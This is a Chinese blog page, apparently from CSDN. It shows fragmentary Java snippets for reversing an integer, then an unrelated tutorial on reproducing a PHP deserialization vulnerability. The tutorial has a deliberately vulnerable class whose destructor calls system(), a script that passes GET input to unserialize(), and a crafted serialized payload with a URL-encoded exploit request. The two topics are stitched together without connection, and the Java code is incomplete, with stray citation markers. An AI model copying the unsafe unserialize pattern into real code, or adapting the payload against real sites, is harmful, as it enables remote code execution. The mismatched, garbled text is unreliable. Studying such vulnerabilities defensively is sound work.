数字反序列输出

本文介绍了两种使用Java实现整数反转的方法。第一种方法通过循环不断取余并乘以10来实现数字的反转;第二种方法采用递归的方式,通过不断除以10并反转剩余部分来完成反转过程。

两种方法
第一种: Scanner sc = new Scanner(System.in);
System.out.println(“请输入一个整数:”);
int num=sc.nextInt();
int result=0;//存反转的数字
while(true)
{
int n=num%10;//取出最低位上的数字
//也可以直接打印出来System.out.println(n);但不好,也可以用一个数组存起来,也不好,都因为翻转后的前后的那个0的问题
result=result*10+n;//依次的反转存储得到反转的数字
num=num/10;//降位
if(num==0)
{
break;
}
}
System.out.println(result);
}
public static int reverse(int num,int result){
if(num==0){
return result;
}
result = result*10+num%10;
num = num/10;
//System.out.println(result);
return reverse(num,result);
}
public static int reverse(int num){
return reverse(num,0);
}

### PHP序列化漏洞复现 为了理解PHP序列化漏洞的工作机制,下面提供了一个详细的实例来展示如何复现这一类安全问题。 #### 创建易受攻击的代码环境 假设存在一个简单的PHP类`User`,该类具有公开属性以及魔术方法`__destruct()`。当对象被销毁时会调用此方法,在某些情况下可能会执行危险操作: ```php class User { public $username; public $is_admin; function __construct($name){ $this->username = $name; $this->is_admin = false; } // 魔术方法会在对象生命周期结束时自动触发 function __destruct(){ if ($this->is_admin === true){ system('echo "You have been hacked!"'); // 模拟恶意命令执行 } } } ``` 接下来创建一个接收用户输入并尝试将其转换成`User`对象的过程,这里使用了`unserialize()`函数直接处理未经验证的数据流[^3]。 ```php <?php // 假设这是来自用户的不可信输入 $user_input = $_GET['data']; if (isset($user_input)){ @unserialize(urldecode($user_input)); // 存在风险的操作 } else { echo "No data provided."; } ?> ``` 上述脚本允许攻击者通过HTTP GET参数传递特制的有效载荷给服务器端程序。如果能够精心构造合适的序列化字符串,则可以在目标环境中实现任意代码执行或其他形式的危害行为。 #### 构造利用有效载荷 考虑到前面提到的`User`类定义及其潜在的风险点——即可以通过设置成员变量`$is_admin=true`来触发表面无害但实际上有害的行为;因此构建如下所示的序列化字符串作为攻击向量: ```text O:4:"User":2:{s:8:"username";s:7:"hacker";s:8:"is_admin";b:1;} ``` 这个串表示的是一个名为`User`的对象实例,其中包含了用户名为"hacker"且管理员状态已启用的信息。注意这里的布尔值`true`对应于字母'b'后面跟着数字'1'[^4]。 最后一步就是将上面准备好的payload经过适当编码后提交至服务端接口处测试效果。由于URL中不允许直接携带特殊字符如分号(`;`)等,所以还需要借助URL编码技术确保传输过程顺利进行[^5]。 访问路径类似于: ``` http://example.com/vulnerable_page.php?data=O%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22hacker%22%3Bs%3A8%3A%22is_admin%22%3Bb%3A1%3B%7D ``` 一旦成功加载页面,理论上应该能看到由`system()`调用产生的输出信息:“You have been hacked!”这表明已经实现了预期的目标——远程控制受害者主机上的部分功能。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值